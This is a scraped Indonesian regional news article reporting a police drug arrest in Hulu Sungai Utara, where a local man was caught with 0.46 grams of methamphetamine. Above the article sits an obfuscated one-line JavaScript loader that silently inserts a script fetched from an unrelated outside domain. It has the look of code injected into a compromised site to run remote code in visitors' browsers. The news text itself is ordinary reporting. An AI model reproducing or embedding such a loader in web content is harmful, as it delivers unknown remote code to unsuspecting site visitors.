(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Sabu Antar Warga Palampitan Hulu ke Tahanan Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Resnarkoba Polres Hulu Sungai Utara (HSU) berhasil mengungkap kasus Narkotika dengan seorang tersangka bersama sabu 0,46 gram.

Tersangka yang berhasil dibekuk berinisial HS (45), warga Jalan Gerilya II RT 002 Desa Palampitan Hulu, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara.

Kapolres HSU AKBP Moch Isharyadi F SIK melalui Kasat Narkoba Ahmad Wijono Djati, Rabu (1/2/2023) membenarkan, pengungkapkan kasus narkoba tersebut.

Pengungkapan kasus tersebut bermula dari informasi masyarakat yang merasa resah lantaran di wilayah Desa Pelampitan Hulu, karena sering dijadikan tempat transaksi gelap Narkotika.

 

Baca juga: Geger Lelaki Berseragam ASN Keluarkan Kemaluan di Depan Kampus ULM Banjarmasin 

Satresnarkoba Polres HSU langsung melakukan penyelidikan pada Minggu 29 Januari 2023 sekitar pukul 18.42 Wita, Tim Opsnal Satresnarkoba berhasil mengamankan seorang laki-laki yang sedang berdiri dengan kedua tangan ke belakang, setelah ditanya mengaku bernama HS.

“Setelah kita introgasi dan penggeledahan dan ditemukan dibalik tangan tersangka menyimpan sebanyak 2 paket narkotika jenis sabu 0,84 gram, berat bersih 0,46 gram,” bebernya.

 

Selain itu, pihaknya juga mengamankan barang bukti lainnya yaitu 6 plastik piper klip, 1 buah kotak kecil transpran, 1 buah sendok plastik, Uang tunai sebesar Rp.150 ribu dan 1 buah handphone merk Nokia 105 RM 908 warna hitam.

Baca juga: Bangunan Lama Sudah Tak Layak, Pemkab Banjar Akan Bangun Pukesmas Baru di Pengaron

Tersangka HS dan barang bukti 2 paket sabu. Foto: satresnarkobapolreshsu

Atas perbuatan tersangka beserta barang bukti digelandang ke ruang Satresnarkoba Polres HSU guna proses penyidikan lebih lanjut.

“Dari kasus ini tersangka dapat dijerat Pasal 114 Ayat (1) Sub Pasal 112 Ayat (1) UURI No.35 Tahun 2009 Tentang Narkotika,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

50 menit ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

3 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

3 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

3 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

3 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

4 jam ago

This website uses cookies.